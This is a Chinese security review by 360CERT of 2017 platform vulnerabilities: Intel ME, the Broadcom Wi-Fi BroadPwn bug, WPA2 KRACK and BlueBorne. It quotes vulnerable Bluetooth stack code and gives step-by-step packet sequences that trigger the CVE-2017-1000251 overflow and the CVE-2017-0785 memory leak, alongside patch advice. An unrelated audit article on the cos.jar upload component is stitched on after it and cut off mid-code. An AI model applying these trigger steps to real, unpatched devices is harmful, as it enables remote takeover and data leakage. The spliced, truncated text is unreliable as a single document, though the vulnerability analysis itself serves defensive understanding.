平台安全是计算机安全体系中重要的组成部分。平台对上层应用，服务，功能提供支持，主要体现在硬件，固件，协议及协议实现等。这方面有许多攻击方法，比如边信道攻击，中间人攻击，旁侧降权攻击等。这些高级攻击方法，如果结合平台安全中的漏洞，将会十分危险。本文是360CERT对2017年平台安全的总结。
## 平台安全中的攻击方法
### 侧信道攻击
边信道最早的实践是通过采集加密电子设备在运行过程中的时间消耗、功率消耗或者电磁辐射消耗等边缘信息的差异性进行攻击的手段。而随着研究的深入，也逐渐从加密设备延伸到计算机内部CPU、内存等之间的信息传递等方面。
近年，这种攻击方法最典型的案例莫过于Linux下TCP边信道安全问题（CVE-2016-5696）。为了减少CPU和带宽资源浪费，要限制challenge
ACK发出的数量，所以引入了这里的ACK Throttling机制。正是这个ACK Throttling机制，带来了边信道攻击的可行性。
利用边信道攻击方式，攻击者不需要处在“中间人”的位置，整个过程不需要与受害者进行互动，这种攻击手法在平台安全中应用广泛。
### 中间人攻击
中间人攻击（Man-in-the-MiddleAttack，简称“MITM攻击”）是一种“间接”的入侵攻击，这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间，这台计算机就称为“中间人”。这种攻击方法通过拦截正常的网络通信数据，并进行数据篡改和嗅探，而通信的双方却毫不知情。MITM由来已久，但在今天仍然活跃，如SMB会话劫持、DNS欺骗等攻击都是典型的MITM攻击。
2017年披露了CVE-2017-0783和CVE-2017-8628，攻击者利用这两个漏洞，可以分别在Android设备和windows设备上进行MITM攻击。
### 降级攻击
降级攻击主要应用在安全协议方面，比较典型的一个例子便是4G
LTE攻击。利用了3GPP的漏洞取得手机的IMSI码，通过DoS攻击迫使手机接入黑客控制的虚假GSM网络中。或者把手机导入一个与运营商网络连接的受黑客控制的合法基站上，从而能够对手机通信进行窃听以及对上网流量进行嗅探。这种攻击方法的应用还有很多，比如HTTPS降级攻击，TLS降级攻击等
### 其他
其他情景的攻击方法同样适用于平台安全中，比如暴力猜解，重放，接口鉴权攻击等。
还有许多不常用的攻击方法，只能针对特定的环境。比如2017的WPA2密钥重载攻击，他让我们意识到，消息可能丢失的协议可能会变得特别脆弱，毕竟这些协议用设计用来重传帧时，就有可能密钥重载。
下面就今年几个比较典型的平台安全漏洞及攻击方法进行详细介绍。
## Intel ME固件漏洞
今年五月份，
Intel公司公布了一个严重高危级别安全漏洞，攻击者可以在目标操作系统不可直接访问的区域进行加载/执行任意代码，具备极高的隐蔽性，常规方法无法检测到。酷睿，至强，凌动等部分型号均受影响。
### 事件描述
Intel 芯片中有一个独立于 CPU 和操作系统的微处理器，叫做英特尔管理引擎 Intel Management Engine，简称
ME。多种技术基于ME，例如代码处理、媒体DRM、可信平台模块TPM等。
ME 是一个有别于 CPU 的独立系统，它可以在不受 CPU 管控下通过搭配 AMT（英特尔主动管理技术）来远程管理企业计算机。AMT
技术能够自动执行一个独立于操作系统的子系统，使得在操作系统出现故障的时候，管理员能够在远程监视和管理客户端、进行远程管理和系统检测、软硬件检查、远端更新
BIOS 、病毒码及操作系统，甚至在系统关机的时候，也可以通过网络对服务器进行管理操作。
该漏洞主要存在英特尔管理引擎（ME
）,英特尔服务器平台服务（SPS），英特尔可信执行引擎（TXE）。攻击者可以模拟ME/SPS/TXE，来影响本地安全认定的有效性，在目标操作系统不可直接访问的区域进行加载/执行任意代码，具备极高的隐蔽性，常规方法无法检测到。
### 总结
根据intel官方公告，相关产品漏洞一共有8个CVE：CVE-2017-5705、CVE-2017-5706、CVE-2017-5707、CVE-2017-5708、CVE-2017-5709、CVE-2017-5710、CVE-2017-5711、CVE-2017-5712。酷睿，至强，凌动™，赛扬™等部分型号产品受到该漏洞影响。
事实上，这并不是英特尔第一次被曝出产品存在严重漏洞。Intel
ME固件漏洞相对于操作系统，用户是完全透明的。操作系统的一切安全机制，漏洞缓解机制都是无用的。
Intel ME固件漏洞主要影响的是服务器，个人PC平台。巧合的是，今年的一枚博通wifi芯片漏洞影响数十亿台Android 和
IOS设备，移动设备在今年也被披露存在平台安全问题，未能幸免。
## 博通wifi芯片漏洞
今年披露的一枚名为BroadPwn远程代码执行漏洞， 影响Android 和 iOS
数十亿台设备。7月初，谷歌，苹果陆续发布了安全补丁。未进行安全更新的设备，一旦置身在恶意WiFi范围内就会被黑客捕获、入侵。当手机打开wifi时，无需任何操作，攻击者便可在我们毫无察觉的情况下，完全控制手机，这是多么恐怖的事情。
### 背景及相关知识
在过去的一段时间，Wi-Fi的使用再移动设备上已经普及。逐渐地，涉及物理层，数据链路层的Wi-Fi已经发展成为一套健全的规范。为了拓展和解决各种未知的复杂问题，供应商已经开始生产基于“FullMAC”的Wi-Fi
SoC。这些是小的SoC执行所有PHY,
MAC和MLME数据处理。FullMAC芯片容易集成，在固件中实现MLME处理，这种解决方案降低了主机端的复杂性，十分受厂商欢迎。但是引入这些新硬件，运行专有和复杂的代码库，可能会削弱设备的整体安全性，引入危及整个系统的漏洞。
### 技术分析
参考Google的Project Zero团队对该漏洞的分析，问题出在内部通信渠道。
上图是追踪处理事件框架（ ** _dhd_wl_host_event_**
）的入口点的控制流程，我们可以看到几个事件接收，并被独立处理。一旦初始完成，帧就被插入队列。然后事件由内核线程出队列，其唯一用处是从队列中读取事件并将其分派到相应的处理函数。这种关联是通过使用事件的内部“
** _event_type_** ”字段作为处理函数数组的索引来完成的，采用的 ** _evt_handler_** 。
该漏洞太过复杂，一些先决条件我们不进行探讨，直接指出到漏洞关键点：处于 ** _dhd_handle_swc_evt_** 函数的 **
_total_count_** 字段。
漏洞的逻辑可归结为：
* “ WLC_E_PFN_SWC ” 类型的事件处理SWC。
* 通信中的每个SWC事件帧包含事件（wl_pfn_significant_net_t），总计数（total_count ）和数组中的事件数（pkt_count ）。
* 当接收到SWC事件代码时，触发一个初始处理程序来处理事件。处理程序在内部调用“ dhd_handle_swc_evt ”函数来处理事件的数据。
* dhd_handle_swc_evt处理函数无法验证total_count 和pkt_count 之间的关系。
关键函数：
“event_data”是通信的事件中封装的任意数据，函数首先初始化一个数组来保存事件的总数（如果之前没有分配的话），然后在缓冲区中建立results_rxed_so_far与传入数据的联系。但是，处理程序无法验证total_count
和pkt_count 之间的关系！攻击者可以指定一个小的total_count 和一个大的pkt_count
，触发一个简单的内核堆溢出。之后可以通过一些堆溢出利用方法，实现远程代码执行。
### 总结
该漏洞影响Android 和 iOS 数十亿台设备。我们使用的智能机，平板电脑，都支持wifi功能，如果使用了博通受影响芯片的设备，均在危险之中。wi-fi芯片这种基本的元件存在的漏洞，如果被利用的话，那么会有杀伤力会很惊人。我们都知道现在的智能机都支持热点功能，如果将该漏洞做成蠕虫勒索病毒，感染后，开启免密热点吸引其他手机连接，通过无线网络进行传播，俨然一场低配版的Wannacry。
说到wifi芯片漏洞，不得不提今年披露的WPA2 KRACK（密钥重载攻击），不止我们使用的设备不安全，我们wifi使用的WPA2加密协议也存在问题。
## WPA2 KRACK（密钥重载攻击）
2017年10月16日，针对WiFi+WPA2网络，名为KRACK的漏洞攻击方式被披露。KRACK主要是利用802.11i
，4次握手中的漏洞来最终实现解密和伪造加密的WiFi流量，该漏洞由来自imec-DistriNet的Mathy Vanhoef和 KU
Leuven发现。本次漏洞事件有多种攻击型态，AP热点端，中继端，和客户端均受到影响。根据krackattacks.com和部分厂商发布的安全公告综合分析，包括Linux,Android,
Cisco wireless products, OpenBSD, MacOS, Windows, iOS等产品或平台受到影响。
### 相关知识
当客户端要连接 WiFi 网络，自动开始（互相）身份验证和连接。图 2
描述了连接阶段的握手。但是当第一次连接到网络时，是没有实际的身份验证。相反，使用了开放系统身份验证，对客户端进行身份验证。实际身份验证在四次握手中使用。但真正的身份认证仅在两个采用
fast BSS transition 握手协议的相同网络 AP 之间漫游时使用。在开放式身份验证之后，客户端连接到网络中。通过客户端向 AP
发送一个连接请求完成。这条消息包含客户端希望使用的成对的密码组。AP 回复一个连接响应，通知客户端连接是否被成功建立。
图1
四次握手提供相互身份验证，基于共享密钥技术，这种技术称为成对的主密钥 PairwiseMaster Key(PMK)，并协商一个新的会话秘钥
PairWise Transient Key（PTK）。在这次握手中，客户端称为 supplicant，而 AP 称为 authenticator，PMK
由个人网络中的预共享密码生成，在企业网络中使用 802.1x 身份验证来进行协商。PTK 由 PMK，Authenticator Nonce
(ANonce),Supplicant Nonce (SNonce)和 supplicant 和 authenticator 使用的 MAC
地址派生而来。一旦生成，PTK 被分割成确认 key(KCK), 加密 Key(KEK)，和临时 Key(TK)，确认 Key 和加密 Key
使用来保护握手消息，TK 和数据机密性协议是用来保护正常数据帧，如果使用了 WPA2，四次握手协议也传输现在的 Group Temporal Key
组临时密钥（GTK）到 supplicant。
四次握手中的每一条消息都是使用 EAPOL 帧格式（如图 1）。对字段进行介绍首先，消息的头部定义了所代表的消息类型，我们将使用 message n 和
MsgN 来代表四次握手中第 n 段消息。Replay count（重放计数器）字段用于检测重放的数据帧：authenticator
在发送一个帧之后会自增长，当 supplicant 对 authenticator 发送的 EAPOL 帧做出应答时，它使用相同的
replaycount。Nonce 字段是一个随机的 nones 值，这个随机值是 supplicant 和 authenticator
在生成新的会话秘钥这一步骤产生的。接下来，如果 EAPOL 帧传输一个组密钥，RSC（接受序列）包含了 key 起始包号。组密钥是存储在 Key Data
字段，使用加密 Key(KEK)加密。最后，使用消息确认 Key(KCK)来进行完整性校验. MIC（Message Integrity Check）。
图2
四次握手中的第 N 条消息，重放计数器 replay count 为 r， 给定的 nonce,在’;’之后的参数都存储在数据域中，也就是说会使用 KEK
加密。
* Authenticator 通过发送 message 1 来初始化四次握手。包含 ANonce，是唯一一个没有MIC(完整性校验) EAPOL 格式消息。
* 当收到消息时，suplicant 生成一个 SNonce 而且导出 PTK，suplicant 发送 message2 给authenticator，message2 包含了（SNonce）。
* authenticator 收到 SNonce，也会导出 PTK。并且发送组密钥 GTK 给 supplicant。
* supplicant 在安装 PTK 和 GTK 之后回复 message4
* authenticator 收到 message4 之后也会安装 PTK，其中 GTK 在 AP 启动时就已经安装。
1,2 条消息使用来传输 nonces，最后两条消息是用来传输组密钥 而且使用抵御降级攻击注意：在已经存在的连接中，PTK
可以被刷新初始化新的四次握手。在密钥重载的过程中，所有的四次握手
消息都是使用 PTK 完成数据机密性加密的。
### 技术细节
802.11i协议（即：WPA2协议）通过两种独立的机制来保证数据传输的机密性。
第一个是在记录层通过加密WiFi帧的方式，保证明文无法被读取或嗅探。该加密机制通常是通过AES-CCM的方式，当然也有部分启动GCM模式，还有部分老的RC4-TKIP方式。需要认真考虑的是AES-CCM(还包括GCM,
TKIP)是一种流加密，这意味着在重用加密参数key和nonce(即:初始向量)的情况下是可以被攻击的。802.11i是基于包计数(packet
number
number)的方式，其在会话建立后的初始值为0，且会不停递增（当然到了2^48的时候，会触发更新key操作）。这样一来，假设在包计数不被重置的情况下，就可以成功防范key+nonce的重用攻击。第二个机制是AP和客户端（supplicant）之间的4次握手流程，主要用于协商加密key。KRACK漏洞会直接利用到4次握手中的#3包，#3包可作用于客户端新key安装使用。
KRACK的主要漏洞在于
#3包可以被恶意阻断。当这个情况发生时，AP端会重发这个消息，会导致同样的一个key在客户端中被重装。带来的副作用是也会导致包计数会被重置为0（部分客户端，如Android6，会把key重置为0)，最终，就会触发key+nonce的重用攻击了。攻击者可以利用它来全流量解密，TCP劫持等。
此外，还有如下2种攻击:
* 包括针对客户端的基于GTK的攻击；
* 针对AP端的11 RFT握手攻击；
<https://github.com/vanhoefm/krackattacks-scripts>
目前公开poc都是只针对客户端，和服务器进行安全检测，但不排除已经有一键傻瓜式工具利用。
### 总结
针对客户端的攻击类似中间人的形式，需要迫使无线客户端从AP连接到攻击者伪造的AP上，所以漏洞利用需要在一个有限地域范围内进行攻击，漏洞利用需要有针对性；不需要与被攻击者产生任何交互，漏洞利用触发难度小，对于针对性的实战利用是很有意义的。
漏洞存在于linux，Android到windows各种终端，可以对一些明文传输或者不正确配置的https网站进行嗅探，数据捕获，考虑到现阶段安全状况，利用效果较好。同时，WPA2
KRACK（密钥重载攻击）并没有从根本上打破WPA系列密钥体系基本的安全特性，暂时不存在更换加密方式，只需要针对特定客户端和AP进行修复。考虑到无线设备更新修复难度，建议在需要高安全性环境时，进行无线连接时采取vpn等方式加密进行连接。
360CERT建议广大用户：
* 及时更新无线路由器、手机，智能硬件等所有使用WPA2无线认证客户端的软件版本。
* 合理部署WIPS（无线入侵防御系统），及时监测合法WiFi区域内的恶意钓鱼WiFi，并加以阻断干扰，使其恶意WiFi无法正常工作。
* 无线通信连接使用VPN加密隧道及强制SSL规避流量劫持与中间人攻击造成的信息泄漏。
* 在不使用WiFi时关闭手机WiFi功能，公共WiFi下不要登录有关支付、财产等账号、密码。如需登录、支付，将手机切换至数据流量网络。
* 及时更新官方补丁：
Linux的hostapd和wpa_supplicant 补丁地址：https://w1.fi/security/2017-1/微软在Windows 10
操作系统中发布补丁 KB4041676苹果在最新的 beta 版本iOS、macOS、 tvOS和 watchOS中修复了无线网络安全漏洞。
## BlueBorne蓝牙漏洞
上述的三个漏洞和攻击方法分别分别属于引擎，固件，协议三个方面平台安全。此外，今年还有另外一些值得我们注意漏洞。
9月12日，armis披露了一系列蓝牙的漏洞，手机开启了蓝牙，就可能被远程控制。无接触无感知接管系统的能力有点可怕，而且基本上影响所有的蓝牙设备，危害不可估量。
所有Android智能机，平板，可穿戴设备均受到4个高危漏洞的影响，其中有两个是远程代码执行漏洞(CVE-2017-0781 和
CVE-2017-0782)，有一个可被利用来进行MITM攻击（CVE-2017-0783），还有一个会导致信息泄露（CVE-2017-0785）。
Windos设备中Windows Vista以外所有版本系统均受“Bluetooth Pineapple”
攻击（CVE-2017-8628）影响，可使攻击者进行MITM攻击。微软已在今年7月11日发布安全更新，并在9月12日发布了相应的通知。iOS设备中iPhone,
iPad, iPod在iOS 9.3.5及以下版本，AppleTV7.2.2及以下版本均受RCE(远程代码执行漏洞)影响。
### 背景及相关知识
首先给出armis的披露漏洞时，整理的蓝牙架构图：
图上把蓝牙的各个层次关系描述得很详尽，不过我们这里暂时只需要关心这么几层：HCI，L2CAP，BNEP，SDP。BNEP和SDP是比较上层的服务，HCI在最底层，直接和蓝牙设备打交道，而承载在蓝牙服务和底层设备之间的桥梁，也就是L2CAP层了。每一层都有它协议规定的数据组织结构，所有层的数据包组合在一起，就是一个完整的蓝牙包（一个SDP包为例）：
虽然协议在各个平台的架构一样，但具体实现方式有所不同，Linux用的BlueZ，而Android用的BlueDroid。
* 在Linux里，用的是BlueZ架构，c 通过注册sock协议的方式提供了针对userspace的接口。
L2CAP的数据是由HCI层传过来的，在hci_core.c的hci_rx_work函数里处理，当L2CAP层有SDP数据后，通过sdp-server.c中的io_session_event来获取这个数据包，递交给sdp-request.c的handle_request。
* 在Android里用的时BlueDroid架构。这个和BlueZ架构很大不同的一点是：BlueDroid将L2CAP层放在了userspace。
SDP连接建立起来后，在收到SDP数据包之后呢，会触发回调函数sdp_data_ind，这个函数会把数据包交个sdp-server.c的sdp_server_handle_client_req函数进行处理。BNEP连接建立起来后，再收到BNEP的包，和SDP类似，会触发回调函数bnep_data_ind，这个函数包含了所有对BNEP请求的处理。
### 漏洞分析
Armis披露漏洞时，介绍了细节。360VulpeckerTeam对这几个漏洞进行了深入分析，这里引用借鉴下。
#### CVE-2017-1000251
这个漏洞触发的思路如下：
* 建立和目标机器的L2CAP 连接，这里sock_type的选择应该是SOCK_RAW，如果不是，内核会自动帮我们完成sent_infomation_request , send_connection_request, send_configure_request这些操作，也就无法触发目标机器的漏洞了。
* 建立SOCK_RAW连接，connect的时候，会自动完成sent_infomation_request的操作，不过这个不影响。
* 接下来我们需要完成send_connection_request操作，来确定SCID,DCID。完成这个操作的过程是发送合法的 L2CAP_CONN_REQ数据包。
* 接下来需要发送包含有L2CAP_CONF_EFS类型的数据，而且L2CAP_CONF_EFS数据的stype == L2CAP_SERV_NOTRAFIC的L2CAP_CONF_REQ包，这一步是为了让目标机器的conf_state变成CONF_LOC_CONF_PEND。
* 这里就到了发送cmd_len很长的L2CAP_CONN_RSP包了。这个包的result字段需要是L2CAP_CONF_PENDING。这个包发过去之后，目标机器内核就会栈溢出，要么重启了，要么死机了。
我们的漏洞发生在对L2CAP_CONFIG_RSP（config response）的处理上。那么来看l2cap_config_rsp:
staticinline int l2cap_config_rsp(struct l2cap_conn *conn,
struct l2cap_cmd_hdr *cmd, u16 cmd_len,
u8 *data)
{
struct l2cap_conf_rsp *rsp = (struct l2cap_conf_rsp *)data;
...
scid = __le16_to_cpu(rsp->scid); //从包中剥离出scid
flags = __le16_to_cpu(rsp->flags); //从包中剥离出flag
result = __le16_to_cpu(rsp->result); //从包中剥离出result
switch(result) {
caseL2CAP_CONF_SUCCESS:
l2cap_conf_rfc_get(chan, rsp->data, len);
clear_bit(CONF_REM_CONF_PEND, &chan->conf_state);
break;
caseL2CAP_CONF_PENDING:
set_bit(CONF_REM_CONF_PEND, &chan->conf_state);
if(test_bit(CONF_LOC_CONF_PEND, &chan->conf_state)) {
charbuf[64]; //buf数组大小64字节
len = l2cap_parse_conf_rsp(chan, rsp->data, len,
buf, &result);
...
}
gotodone;
...
当收到的数据包里，满足result == L2CAP_CONF_PENDING，且自身的连接状态conf_state ==
CONF_LOC_CONF_PEND的时候，会走到 l2cap_parse_conf_rsp函数里，而且传过去的buf是个长度为64的数据，参数len
，参数rsp->data都是由包中的内容来任意确定。那么在l2cap_parse_conf_rsp函数里：
仔细阅读这个函数的代码可以知道，这个函数的功能就是根据传进来的包，来构造将要发出去的包。而数据的出口就是传进去的64字节大小的buf。但是对传入的包的数据的长度并没有做检验，那么当len很大时，就会一直往出口buf里写数据，比如有64个L2CAP_CONF_MTU类型的opt，那么就会往buf里写上64*(L2CAP_CONF_OPT_SIZE
+ 2)个字节，那么显然这里就发生了溢出。由于buf是栈上定义的数据结构，那么这里就是一个栈溢出。
#### CVE-2017-1000250
这个漏洞是BlueZ的SDP服务里的信息泄露漏洞。这个不像L2CAP层的连接那么复杂，主要就是上层服务，收到数据就
进行处理。那么我们也只需要关注处理的函数。BlueZ的SDP收到数据是从io_session_event开始。之后，数据的流向是：
io_session_event–>handle_request–>process_request。
SDP协议它有一个sdp_pud_hdr的头部，头部数据里定义了PUD命令的类型，tid，以及pdu
parameter的长度，然后就是具体的parameter。最后一个字段是continuation
state，当一个包发不完所要发送的数据的时候，这个字段就会有效。对于这个字段，BlueZ给了它一个定义：
typedefstruct {
uint32_t timestamp;
union {
uint16_t maxBytesSent;
uint16_t lastIndexSent;
} cStateValue;
} sdp_cont_state_t;
对于远程的连接，PDU命令类型只能是这三个:SDP_SVC_SEARCH_REQ, SDP_SVC_ATTR_REQ,
SDP_SVC_SEARCH_ATTR_REQ。这个漏洞出现在对SDP_SVC_SEARCH_ATTR_REQ命令的处理函数service_search_attr_req里面
,其功能有这几点：
* extract_des(pdata, data_left, &pattern, &dtd, SDP_TYPE_UUID); 解析service search pattern（对应SDP协议数据结构图）
* max = get_be16(pdata); 获得Maximu Attribute Byte
* scanned = extract_des(pdata, data_left, &seq, &dtd, SDP_TYPE_ATTRID);解析Attribute ID list
* if (sdp_cstate_get(pdata, data_left, &cstate) < 0) ;获取continuation state状态cstate，如果不为0，则将包里的continuation state数据复制给
漏洞发生在对cstate状态不为0的时候，这部分代码：
sdp_buf_t *pCache = sdp_get_cached_rsp(cstate);
if (pCache) {
uint16_t sent = MIN(max, pCache->data_size - cstate->cStateValue.maxBytesSent);
pResponse = pCache->data;
memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent);
buf->data_size += sent;
cstate->cStateValue.maxBytesSent += sent;
if (cstate->cStateValue.maxBytesSent == pCache->data_size)
cstate_size = sdp_set_cstate_pdu(buf, NULL);
else
cstate_size = sdp_set_cstate_pdu(buf, cstate);
sdp_get_cached_rsp函数其实是对cstate的timestamp值的检验，如何过这个检验之后再说。当代码走到第五行处的memcpy时，由于cstate->maxBytesSent就是由数据包里的数据所控制，而且没有做任何检验，所以这里可以为任意的uint16_t值。那么很明显，这里就出现了一个对pResponse的越界读的操作。而越界读的数据还会通过SDP
RESPONSE发送给攻击方，那么一个信息泄露就发生了。
#### CVE-2017-0785
这个漏洞也是SDP的信息泄露漏洞，不过是BlueDroid的。与BlueZ的那个是有些类似的。我们也从对SDP数据包的处理函数说起。
SDP数据包会通过sdp_data_ind函数送给sdp_server_handle_client_req。与BlueZ一样，这个函数也会根据包中的pud_id来确定具体的处理函数。这个漏洞发生在对SDP_PDU_SERVICE_SEARCH_REQ命令的处理，对包内数据的解析与上文BlueZ中的大同小异，不过注意在BlueDroid中，cstate结构与BlueZ中有些不同：
typedefstruct {
uint16_t cont_offset;
} sdp_cont_state_t;
关注漏洞处的代码：
Ⅰ，Ⅱ中代码可以看出，变量num_rsp_handles的值，一定程度上可以由包中的Maximu Attribute Byte字段控制。
Ⅲ中代码是对带cstate的包的处理，第一步是对大小的检查，第二步是获得cont_offset，然后对cont_offset进行检查，第三步就到了
rem_handles = num_rsp_handles – cont_offset
可以思考一种情况，如果num_rsp_handles <
cont_offset，那么这个代码就会发生整数的下溢，而num_rsp_handles在一定程度上我们可以控制，而且是可以控制它变成０，那么只要cont_offset不为０，这里就会发生整数下溢。发生下溢的结果给了rem_handles，而这个变量代表的是还需要发送的数据数。
在④中，如果rem_handles是发生了下溢的结果，由于它是uint16_t类型，它将变成一个很大的数，所以会走到 p_ccb->cont_offset
+=
cur_handles;,cur_handles是一个固定的值，如果这个下溢的过程，发生很多次，p_ccb->cont_offset就会变得很大，那么在５处，就会有一个对rsp_handles数组的越界读的产生。
下面的操作可以让这个越界读发生：
* 发送一个不带cstate的包， 而且Maximu Attribute Byte字段设置的比较大。那么结果就是rem_handles = num_rsp_handles，而由于max_replies比较大，所以num_rsp_handles会成为一个比较大的值。只要在Ⅳ中保证rem_handles > cur_handles，那么p_ccb->cont_offset就会成为一个非０值cur_handles。这一步是为了使得p_ccb->cont_offset成为一个非０值。
* 接收服务端的回应包，这个回应包里的cstate字段将会含有刚刚的p_ccb->cont_offset值，我们取得这个值。
* 发送一个带cstate的包，cont_offset指定为刚刚提取的值，而且设置Maximu Attribute Byte字段为０。那么服务端收到这个包后，就会走到rem_handles = num_rsp_handles – cont_offset 从而发生整数下溢，同时p_ccb->cont_offset又递增一个cur_handles大小。
* 重复２和３的过程，那么p_ccb->cont_offset将越来越大，从而在⑤出发生越界读，我们提取服务端返回的数据，就可以获得泄露的信息的内容。
#### CVE-2017-0781
BlueDroid中BNEP服务对于接受到的数据包的处理也不复杂：
* 解析得到BNEP_TYPE，得到extension位。
* 检查连接状态，如果已经连接则后续可以处理非BNEP_FRAME_CONTROL的包，如果没有建立连接，则后续只处理BNEP_FRAME_CONTROL的包。
* 去BNEP_TYPE对应的处理函数进行处理。
* 对于BNEP_TYPE不是BNEP_FRAME_CONTROL而且有extension位的，还需要对extension的数据进行处理。
* 调用pan层的回调函数。
值得注意的是，BNEP连接真正建立起来，需要先处理一个合法的BNEP_FRAME_CONTROL数据包。CVE-2017-0781正是连接还没建立起来，在处理BNEP_FRAME_CONTROL时所发生的问题：
caseBNEP_FRAME_CONTROL:
ctrl_type = *p;
p = bnep_process_control_packet (p_bcb, p, &rem_len, FALSE);
if (ctrl_type == BNEP_SETUP_CONNECTION_REQUEST_MSG &&
p_bcb->con_state != BNEP_STATE_CONNECTED &&
extension_present && p && rem_len)
{
p_bcb->p_pending_data = (BT_HDR *)osi_malloc(rem_len);
memcpy((UINT8 *)(p_bcb->p_pending_data + 1), p, rem_len);
p_bcb->p_pending_data->len = rem_len;
p_bcb->p_pending_data->offset = 0;
}
上述代码中，malloc了一个rem_len的大小，这个是和收到的数据包的长度相关的。可是memcpy的时候，却是从p_bcb->p_pending_data＋１开始拷贝数据，那么这里会直接溢出一个sizeof(*(p_bcb->p_pending_data))大小的内容。这个大小是8.所以只要代码走到这，就会有一个8字节大小的堆溢出。而要走到这，只需要过那个if的判断条件，而这个if其实是对BNEP_SETUP_CONNECTION_REQUEST_MSG命令处理失败后的错误处理函数。那么只要发送一个错误的BNEP_SETUP_CONNECTION_REQUEST_MSG命令包，就可以进入到这段代码了触发堆溢出了。
#### CVE-2017-0782
这个也是由于BNEP协议引起的漏洞，首先它是个整数溢出，整数溢出导致的后果是堆溢出。
问题出在BNEP对extension字段的处理上：
上述代码中，ext_len =
*p++的ext_len从数据包中获得，没有长度的检查，可为任意值。而当control_type为一个非法值的时候，会走到*rem_len -=
(ext_len –
1),那么这里就很有说法了，我们如果设置ext_len比较大，那么这里就会发生一个整数下溢。从而使得rem_len变成一个很大的uint16_t的值。这个值将会影响后续的处理：
上面的代码中，bnep_process_control_packet()处将发生整数下溢出，使得rem_len成为一个很大的值（比如0xfffd），p_buf->len=rem_len处会将这个值赋值给p_buf->len。If()中，是回调函数处理这个p_buf，在BlueDroid中这个函数是pan_data_buf_ind_cb，这个函数会有一条路径调到bta_pan_data_buf_ind_cback，而在这个函数中：
memcpy用到了我们传进来的p_buf，而p_buf->len是刚刚下溢之后的很大的值，所以主要保证sizeof(tBTA_PAN_DATA_PARAMS)
> p_buf->offset，这里就会发生一次很大字节的堆溢出。
CVE-2017-0781和CVE-2017-0782导致了堆溢出，一般会使得com.android.bluetooth崩溃，但是这个进程崩溃系统不会有提醒，需要去logcat来找崩溃的日志。这是两个很有价值的堆溢出漏洞，结合前面的信息泄露漏洞，是完全可以进行远程代码执行的。
### 总结
现在关于这五个漏洞的PoC，github有很多，安装上pybluez和pwntools，嗅探到蓝牙地址，便可进行攻击，简单的演示如下：
我们使用的智能机，平板电脑，可穿戴设备大多都支持蓝牙功能。这些设备均受前面提到的几个漏洞的影响。当手机打开蓝牙时，无需任何操作，攻击者便可在我们毫无察觉的状态下，完全控制手机。Wifi芯片可能被黑，wpa2协议进行加密会被监听，现在蓝牙也不安全。普通用户，最主要的还是提高安全意识，及时更新设备的安全补丁。
## 总结
电脑CPU不安全，手机WIFI芯片有问题，无线上网有可能被窃听，用蓝牙也可能被攻击。用户需要警惕但也不必过度恐慌，这些都属于高级攻击方法，利用技术门槛比较高，不容易造成广泛性攻击事件。
平台安全中核心的两个问题：
* 固件安全
硬件对固件进行支持，固件对操作系统提供服务。这个“承上启下“的位置说明了他的重要性。固件中运行专有和复杂的代码库，不安全的固件会削弱设备的整体安全性，引入危及整个系统的漏洞。
* 规范的制定以及实现
规范，包括但不限于协议，格式，处理模型。这方面例如WPA2
KRACK密钥重载攻击是协议制定时，没有处理好重传帧的情况；又例如BlueBorne蓝牙漏洞是在各个平台中，规范实现时的出现的问题。
文中所讲的问题，仅仅影响到信息的安全。IoT，IoE，人工智能……一场又一场革命将我们带入智能时代。智能家居和自动驾驶这些科技产物已经融入了我们生活，如果不注意这方面的平台安全，危及的可是用户的生命和财产。所以，这些新兴科技的平台安全问题，将是我们之后关注的重点。
## 参考链接
<https://www.intel.com/content/www/us/en/support/articles/000025619/software.html>
<https://googleprojectzero.blogspot.jp/2017/04/over-air-exploiting-broadcoms-wi-fi_11.html>
<https://cert.360.cn/static/files/%E5%AF%86%E9%92%A5%E9%87%8D%E8%BD%BD%E6%94%BB%E5%87%BB%EF%BC%9A%E5%BC%BA%E5%88%B6WPA2%E9%87%8D%E7%94%A8Nonce.pdf>
<https://www.krackattacks.com>
<https://papers.mathyvanhoef.com/ccs2017.pdf>
<https://github.com/kristate/krackinfo>
<https://blog.cryptographyengineering.com/2017/10/16/falling-through-the-kracks/>
[https://git.archlinux.org/svntogit/packages.git/commit/trunk?h=packages/wpa_supplicant&id=9c1bda00a846ff3b60e7c4b4f60b28ff4a8f7768](https://git.archlinux.org/svntogit/packages.git/commit/trunk?h=packages/wpa_supplicant&id=9c1bda00a846ff3b60e7c4b4f60b28ff4a8f7768)
[https://git.archlinux.org/svntogit/community.git/commit/trunk?h=packages/hostapd&id=d31735a09b4c25eaa69fb13b1031910ca3c29ee5](https://git.archlinux.org/svntogit/community.git/commit/trunk?h=packages/hostapd&id=d31735a09b4c25eaa69fb13b1031910ca3c29ee5)
<http://svn.dd-wrt.com/changeset/33525>
<http://bobao.360.cn/learning/detail/4556.html>
<https://www.armis.com/blueborne/>
<https://www.anquanke.com/post/id/86949>
<http://blog.csdn.net/rain0993/article/details/8533246>
<https://people.csail.mit.edu/albert/bluez-intro/index.html> | 社区文章 |
在做审计的时候，往往经验是比较重要的，但是还是需要留意一些 jar 包，所
预留更初级程序员的坑
今天要说的就是 cos.jar
这是个什么东西能，对于懒人程序员来说使用量还是挺大的.....
参考链接和下载地址<http://www.servlets.com/cos/index.html>
总体来说就是一个文件上传的组件
在这个组件里面通常会用到这个类
MultipartRequest
有 5 个参数
1. http 的 request
2. 缓存的文件路径
3. 上传文件的大小
4. 编码
5. 上传时候 rename 规则
分析一下他具体怎么做的：
public MultipartRequest(HttpServletRequest request, String saveDirectory, int
maxPostSize, String encoding, FileRenamePolicy policy) throws IOException {
this.parameters = new Hashtable();
this.files = new Hashtable();
if(request == null) {
throw new IllegalArgumentException("request cannot be null");
} else if(saveDirectory == null) {
throw new IllegalArgumentException("saveDirectory cannot be null");
} else if(maxPostSize <= 0) {
throw new IllegalArgumentException("maxPostSize must be positive");
} else {
File dir = new File(saveDirectory);
if(!dir.isDirectory()) {
throw new IllegalArgumentException("Not a directory: " +
saveDirectory);
} else if(!dir.canWrite()) {
throw new IllegalArgumentException("Not writable: " +
saveDirectory);
} else {
MultipartParser parser = new MultipartParser(request, maxPostSize,
true, true, encoding);
Vector existingValues;
if(request.getQueryString() != null) {
Hashtable part =
HttpUtils.parseQueryString(request.getQueryString());
Enumeration name = part.keys();
while(name.hasMoreElements()) {
Object filePart = name.nextElement();
String[] fileName = (String[])part.get(filePart);
existingValues = new Vector();
